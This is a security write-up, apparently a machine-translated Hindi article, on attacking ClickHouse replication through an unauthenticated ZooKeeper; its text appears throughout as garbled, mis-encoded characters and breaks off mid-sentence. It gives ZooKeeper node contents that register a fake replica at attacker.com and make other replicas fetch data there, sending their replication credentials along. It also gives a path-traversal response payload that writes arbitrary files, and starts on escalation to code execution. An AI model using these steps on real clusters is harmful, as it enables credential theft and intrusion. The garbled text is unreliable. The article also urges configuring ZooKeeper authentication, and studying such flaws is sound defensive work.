рдЖрдкрдХреЛ рдЪрд┐рдбрд╝рд┐рдпрд╛рдШрд░ рдХреЗ рдкрд┐рдВрдЬрд░реЛрдВ рдХреЛ рдмрдВрдж рд░рдЦрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреНрдпреЛрдВ рд╣реИ?

рдЖрдкрдХреЛ рдЪрд┐рдбрд╝рд┐рдпрд╛рдШрд░ рдХреЗ рдкрд┐рдВрдЬрд░реЛрдВ рдХреЛ рдмрдВрдж рд░рдЦрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреНрдпреЛрдВ рд╣реИ?

рдпрд╣ рдЖрд▓реЗрдЦ ClickHouse рдкреНрд░рддрд┐рдХреГрддрд┐ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдореЗрдВ рдПрдХ рдмрд╣реБрдд рд╣реА рд╡рд┐рд╢рд┐рд╖реНрдЯ рднреЗрджреНрдпрддрд╛ рдХреА рдХрд╣рд╛рдиреА рдмрддрд╛рдПрдЧрд╛, рдФрд░ рдпрд╣ рднреА рджрд┐рдЦрд╛рдПрдЧрд╛ рдХрд┐ рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

ClickHouse рдмрдбрд╝реА рдорд╛рддреНрд░рд╛ рдореЗрдВ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реИ, рдЬреЛ рдЕрдХреНрд╕рд░ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдкреНрд░рддрд┐рдХреГрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред ClickHouse рдореЗрдВ рдХреНрд▓рд╕реНрдЯрд░рд┐рдВрдЧ рдФрд░ рдкреНрд░рддрд┐рдХреГрддрд┐ рд╢реАрд░реНрд╖ рдкрд░ рдмрдирд╛рдИ рдЧрдИ рд╣реИ рдЕрдкрд╛рдЪреЗ рдЪрд┐рдбрд╝рд┐рдпрд╛рдШрд░ рдХреАрдкрд░ (ZK) рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдбрд┐рдлрд╝реЙрд▓реНрдЯ ZK рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП Kafka, Hadoop, ClickHouse рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╣рдЬрд╛рд░реЛрдВ ZK рд╕рд░реНрд╡рд░ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реИрдВред

рдЕрдкрдиреЗ рдЖрдХреНрд░рдордг рдХреА рд╕рддрд╣ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЬрд╝реВрдХреАрдкрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╕рдордп рд╣рдореЗрд╢рд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП

рдмреЗрд╢рдХ рдХреБрдЫ 0day рдЖрдзрд╛рд░рд┐рдд рдЬрд╛рд╡рд╛ рдбрд┐рд╕реЗрд░рд┐рдПрд▓рд╛рдЗрдЬрд╝реЗрд╢рди рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ ZooKeeper рдХреЛ рдкрдврд╝ рдФрд░ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ ClickHouse рдкреНрд░рддрд┐рдХреГрддрд┐ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдХреНрд▓рд╕реНрдЯрд░ рдореЛрдб рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЬрд╛рдиреЗ рдкрд░, ClickHouse рд╡рд┐рддрд░рд┐рдд рдХреНрд╡реЗрд░реАрдЬрд╝ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдбреАрдбреАрдПрд▓, ZK рд╕реЗ рдЧреБрдЬрд░рддреЗ рд╣реБрдП - рдЙрдирдХреЗ рд▓рд┐рдП рд╢реАрдЯ рдореЗрдВ рдиреЛрдбреНрд╕ рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ /clickhouse/task_queue/ddl.

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдПрдХ рдиреЛрдб рдмрдирд╛рддреЗ рд╣реИрдВ /clickhouse/task_queue/ddl/query-0001 рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж, рдХреНрд▓рд╕реНрдЯрд░ рд╕рд░реНрд╡рд░ рд╣реЛрд╕реНрдЯ1 рдФрд░ рд╣реЛрд╕реНрдЯ2 рдкрд░ рдкрд░реАрдХреНрд╖рдг рддрд╛рд▓рд┐рдХрд╛ рд╣рдЯрд╛ рджреА рдЬрд╛рдПрдЧреАред DDL CREATE/ALTER/DROP рдХреНрд╡реЗрд░реА рдЪрд▓рд╛рдиреЗ рдХрд╛ рднреА рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред

рдбрд░рд╛рд╡рдирд╛ рд▓рдЧ рд░рд╣рд╛ рд╣реИ? рд▓реЗрдХрд┐рди рдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╕рд░реНрд╡рд░ рдкрддреЗ рдХрд╣рд╛рдВ рд╕реЗ рдорд┐рд▓ рд╕рдХрддреЗ рд╣реИрдВ?

рдХреНрд▓рд┐рдХрд╣рд╛рдЙрд╕ рдкреНрд░рддрд┐рдХреГрддрд┐ рд╡реНрдпрдХреНрддрд┐рдЧрдд рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдХреЗ рд╕реНрддрд░ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рддрд╛рдХрд┐ рдЬрдм ZK рдореЗрдВ рдПрдХ рддрд╛рд▓рд┐рдХрд╛ рдмрдирд╛рдИ рдЬрд╛рдП, рддреЛ рдПрдХ рд╕рд░реНрд╡рд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬреЛ рдкреНрд░рддрд┐рдХреГрддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЗ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реЛрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЕрдиреБрд░реЛрдз рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╕рдордп (ZK рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, chXX - рдкреНрд░рддрд┐рдХреГрддрд┐ рдХрд╛ рдирд╛рдо, foobar - рддрд╛рд▓рд┐рдХрд╛ рдирд╛рдо):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

рдиреЛрдбреНрд╕ рдмрдирд╛рдП рдЬрд╛рдПрдВрдЧреЗ рдХреЙрд▓рдо ╨╕ рдореЗрдЯрд╛рдбреЗрдЯрд╛.

рдЕрдВрддрд░реНрд╡рд╕реНрддреБ /рдХреНрд▓рд┐рдХрд╣рд╛рдЙрд╕/рдЯреЗрдмрд▓реНрд╕/01/рдлреВрдмрд╛рд░/рдкреНрд░рддрд┐рдХреГрддрд┐рдпрд╛рдВ/chXX/рд╣реЛрд╕реНрдЯ:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

рдХреНрдпрд╛ рдЗрд╕ рдХреНрд▓рд╕реНрдЯрд░ рд╕реЗ рдбреЗрдЯрд╛ рдорд░реНрдЬ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ? рд╣рд╛рдБ, рдпрджрд┐ рдкреНрд░рддрд┐рдХреГрддрд┐ рдкреЛрд░реНрдЯ (TCP/9009) рд╕рд░реНрд╡рд░ рдкрд░ chXX-address рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдмрдВрдж рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдкреНрд░рддрд┐рдХреГрддрд┐ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХреИрд╕реЗ рдХрд░реЗрдВ?

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗрд╡рд▓ рд╕рд╛рдордЧреНрд░реА рдХреА рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рдХрд░ ZK рдореЗрдВ рдПрдХ рдирдИ рдкреНрд░рддрд┐рдХреГрддрд┐ рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ /clickhouse/tables/01-01/foobar/replicas/chXX рдФрд░ рдЕрд░реНрде рдмрджрд▓ рд░рд╣рд╛ рд╣реИ host.

рдЕрдВрддрд░реНрд╡рд╕реНрддреБ /рдХреНрд▓рд┐рдХрд╣рд╛рдЙрд╕/рдЯреЗрдмрд▓/01-01/рдлреВрдмрд╛рд░/рдкреНрд░рддрд┐рдХреГрддрд┐рдпрд╛рдВ/рд╣рдорд▓рд╛рд╡рд░/рд╣реЛрд╕реНрдЯ:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

рдлрд┐рд░ рдЖрдкрдХреЛ рдЕрдиреНрдп рдкреНрд░рддрд┐рдХреГрддрд┐рдпреЛрдВ рдХреЛ рдпрд╣ рдмрддрд╛рдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдбреЗрдЯрд╛ рдХрд╛ рдПрдХ рдирдпрд╛ рдмреНрд▓реЙрдХ рд╣реИ рдЬрд┐рд╕реЗ рдЙрдиреНрд╣реЗрдВ рд▓реЗрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ - ZK рдореЗрдВ рдПрдХ рдиреЛрдб рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX рдиреАрд░рд╕ рд░реВрдк рд╕реЗ рдмрдврд╝рдиреЗ рд╡рд╛рд▓рд╛ рдХрд╛рдЙрдВрдЯрд░, рдЬреЛ рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧ рдореЗрдВ рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рд╕реЗ рдмрдбрд╝рд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

рдЬрд╣рд╛рдВ source_рдкреНрд░рддрд┐рдХреГрддрд┐ - рдкрд┐рдЫрд▓реЗ рдЪрд░рдг рдореЗрдВ рдмрдирд╛рдИ рдЧрдИ рд╣рдорд▓рд╛рд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреГрддрд┐ рдХрд╛ рдирд╛рдо, рдмреНрд▓реЙрдХ_рдЖрдИрдбреА - рдбреЗрдЯрд╛ рдмреНрд▓реЙрдХ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛, рдорд┐рд▓ - "рдмреНрд▓реЙрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ" рдХрдорд╛рдВрдб (рдФрд░ рдпрд╣рд╛рдВ рдЕрдиреНрдп рдкрд░рд┐рдЪрд╛рд▓рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрджреЗрд╢ рджрд┐рдП рдЧрдП рд╣реИрдВ).

рдЗрд╕рдХреЗ рдмрд╛рдж, рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рддрд┐рдХреГрддрд┐ рд▓реЙрдЧ рдореЗрдВ рдПрдХ рдирдпрд╛ рдИрд╡реЗрдВрдЯ рдкрдврд╝рддреА рд╣реИ рдФрд░ рдбреЗрдЯрд╛ рдХрд╛ рдПрдХ рдмреНрд▓реЙрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╕рд░реНрд╡рд░ рдкрд░ рдЬрд╛рддреА рд╣реИ (рдкреНрд░рддрд┐рдХреГрддрд┐ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдмрд╛рдЗрдирд░реА рд╣реИ, HTTP рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реИ)ред рд╕рд░реНрд╡рд░ attacker.com рдЕрдиреБрд░реЛрдз рдкреНрд░рд╛рдкреНрдд рд╣реЛрдВрдЧреЗ:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

рдЬрд╣рд╛рдВ XXX рдкреНрд░рддрд┐рдХреГрддрд┐ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдбреЗрдЯрд╛ рд╣реИред рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдпрд╣ рдореБрдЦреНрдп ClickHouse рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдФрд░ HTTP рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рддрдХ рдкрд╣реБрдВрдЪ рд╡рд╛рд▓рд╛ рдПрдХ рдЦрд╛рддрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рдЖрдкрдиреЗ рджреЗрдЦрд╛, рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рдЧрдВрднреАрд░ рд░реВрдк рд╕реЗ рдмрдбрд╝реА рд╣реЛ рдЬрд╛рддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рддрд┐рдХреГрддрд┐ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдЬрд╝реВрдХреАрдкрд░, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдмрд┐рдирд╛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдЖрдЗрдП рдПрдХ рдкреНрд░рддрд┐рдХреГрддрд┐ рд╕реЗ рдбреЗрдЯрд╛ рдХрд╛ рдПрдХ рдмреНрд▓реЙрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдХрд╛рд░реНрдп рдХреЛ рджреЗрдЦреЗрдВ, рдпрд╣ рдкреВрд░реЗ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХреЗ рд╕рд╛рде рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рд╕рднреА рдкреНрд░рддрд┐рдХреГрддрд┐рдпрд╛рдВ рдЙрдЪрд┐рдд рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╣реИрдВ рдФрд░ рдЙрдирдХреЗ рдмреАрдЪ рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╣реИред

рдЖрдкрдХреЛ рдЪрд┐рдбрд╝рд┐рдпрд╛рдШрд░ рдХреЗ рдкрд┐рдВрдЬрд░реЛрдВ рдХреЛ рдмрдВрдж рд░рдЦрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреНрдпреЛрдВ рд╣реИ?
рдкреНрд░рддрд┐рдХреГрддрд┐ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЛрдб

рдлрд╝рдВрдХреНрд╢рди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╕реВрдЪреА рдкрдврд╝рддрд╛ рд╣реИ, рдлрд┐рд░ рдЙрдирдХреЗ рдирд╛рдо, рдЖрдХрд╛рд░, рд╕рд╛рдордЧреНрд░реА, рдФрд░ рдлрд┐рд░ рдЙрдиреНрд╣реЗрдВ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд▓рд┐рдЦрддрд╛ рд╣реИред рдпрд╣ рдЕрд▓рдЧ рд╕реЗ рд╡рд░реНрдгрди рдХрд░рдиреЗ рд▓рд╛рдпрдХ рд╣реИ рдХрд┐ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдбреЗрдЯрд╛ рдХреИрд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЗрд╕рдореЗрдВ рдХрдИ рдЙрдкрдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ рд╣реИрдВ /var/lib/clickhouse (рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕рдВрдЧреНрд░рд╣рдг рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛):

рдЭрдВрдбреЗ - рд░рд┐рдХреЙрд░реНрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЭрдВрдбреЗ, рдбреЗрдЯрд╛ рд╣рд╛рдирд┐ рдХреЗ рдмрд╛рдж рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ;
tmp - рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛;
рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛_рдлрд╝рд╛рдЗрд▓реЗрдВ - рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд▓рди рдЗрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ (INTO OUTFILE рдФрд░ рдЕрдиреНрдп) рддрдХ рд╕реАрдорд┐рдд рд╣реИрдВ;
рдореЗрдЯрд╛рдбреЗрдЯрд╛ - рддрд╛рд▓рд┐рдХрд╛ рд╡рд┐рд╡рд░рдг рдХреЗ рд╕рд╛рде рдПрд╕рдХреНрдпреВрдПрд▓ рдлрд╝рд╛рдЗрд▓реЗрдВ;
preprocessed_configs - рд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рд╡реНрдпреБрддреНрдкрдиреНрди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЗрдВ /etc/clickhouse-server;
рддрд┐рдерд┐ - рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд▓рдЧ рдЙрдкрдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрд╕ рдпрд╣рд╛рдВ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП /var/lib/clickhouse/data/default).

рдкреНрд░рддреНрдпреЗрдХ рддрд╛рд▓рд┐рдХрд╛ рдХреЗ рд▓рд┐рдП, рдбреЗрдЯрд╛рдмреЗрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдПрдХ рдЙрдкрдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рдХреЙрд▓рдо рдПрдХ рдЕрд▓рдЧ рдлрд╝рд╛рдЗрд▓ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдЗрдВрдЬрди рдкреНрд░рд╛рд░реВрдк. рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ рдЯреЗрдмрд▓ рдХреЗ рд▓рд┐рдП foobarрдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдИ рдЧрдИ, рдирд┐рдореНрди рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдИ рдЬрд╛рдПрдВрдЧреА:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

рдкреНрд░рддрд┐рдХреГрддрд┐ рдбреЗрдЯрд╛ рдХреЗ рдмреНрд▓реЙрдХ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддреЗ рд╕рдордп рд╕рдорд╛рди рдирд╛рдо рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддреА рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдХрд┐рд╕реА рднреА рддрд░рд╣ рд╕реЗ рдорд╛рдиреНрдп рдирд╣реАрдВ рдХрд░рддреА рд╣реИред

рдЪреМрдХрд╕ рдкрд╛рдардХ рдиреЗ рд╕рдВрднрд╡рддрдГ рдХрд┐рд╕реА рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдлрд╝рд╛рдЗрд▓_рдирд╛рдо рдХреЗ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрдпреЛрдЬрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрд╣рд▓реЗ рд╣реА рд╕реБрдирд╛ рд╣реИ WriteBufferFromFile. рд╣рд╛рдВ, рдпрд╣ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдлрдПрд╕ рдкрд░ рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдордирдорд╛рдиреА рд╕рд╛рдордЧреНрд░реА рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ clickhouse. рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдкреНрд░рддрд┐рдХреГрддрд┐ рдХреЛ рдЕрдиреБрд░реЛрдз рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд▓реМрдЯрд╛рдиреА рд╣реЛрдЧреА (рд╕рдордЭрдиреЗ рдореЗрдВ рдЖрд╕рд╛рдиреА рдХреЗ рд▓рд┐рдП рд▓рд╛рдЗрди рдмреНрд░реЗрдХ рдЬреЛрдбрд╝реЗ рдЧрдП рд╣реИрдВ):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

рдФрд░ рд╕рдВрдпреЛрдЬрди рдХреЗ рдмрд╛рдж ../../../../../../../../../tmp/pwned рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдЦреА рдЬрд╛рдПрдЧреА /tmp/pwned рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдЪрд┐рдбрд╝рд┐рдпрд╛рдШрд░ рд╕рдВрдЪрд╛рд▓рдХ рд╕реЗ рдирдорд╕реНрддреЗ.

рдлрд╝рд╛рдЗрд▓ рд▓реЗрдЦрди рдХреНрд╖рдорддрд╛ рдХреЛ рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди (рдЖрд░рд╕реАрдИ) рдореЗрдВ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВред

рдЖрд░рд╕реАрдИ рдореЗрдВ рдмрд╛рд╣рд░реА рд╢рдмреНрджрдХреЛрд╢

рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ, ClickHouse рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╡рд╛рд▓реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдХреНрд▓рд┐рдХрд╣рд╛рдЙрд╕ рдЧрд▓рддреА рдХрд░рдирд╛ред рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдлрд╝рд╛рдЗрд▓реЗрдВ XML рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╕реЗрд╡рд╛ рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдкрд░ рдкрдврд╝рддреА рд╣реИ рдФрд░ рдлрд┐рд░ рдХреИрд╢ рдХрд░рддреА рд╣реИ /var/lib/clickhouse/preprocessed_configs. рдЬрдм рдкрд░рд┐рд╡рд░реНрддрди рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдЙрдиреНрд╣реЗрдВ рджреЛрдмрд╛рд░рд╛ рдкрдврд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд╣реБрдВрдЪ рд╣реИ /etc/clickhouse-server рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЕрдкрдирд╛ рд╕реНрд╡рдпрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдмрд╛рд╣реНрдп рд╢рдмреНрджрдХреЛрд╢ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдкреНрд░рдХрд╛рд░ рдФрд░ рдлрд┐рд░ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред ClickHouse рдХреЗ рд╡рд░реНрддрдорд╛рди рд╕рдВрд╕реНрдХрд░рдг рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдзрд┐рдХрд╛рд░ 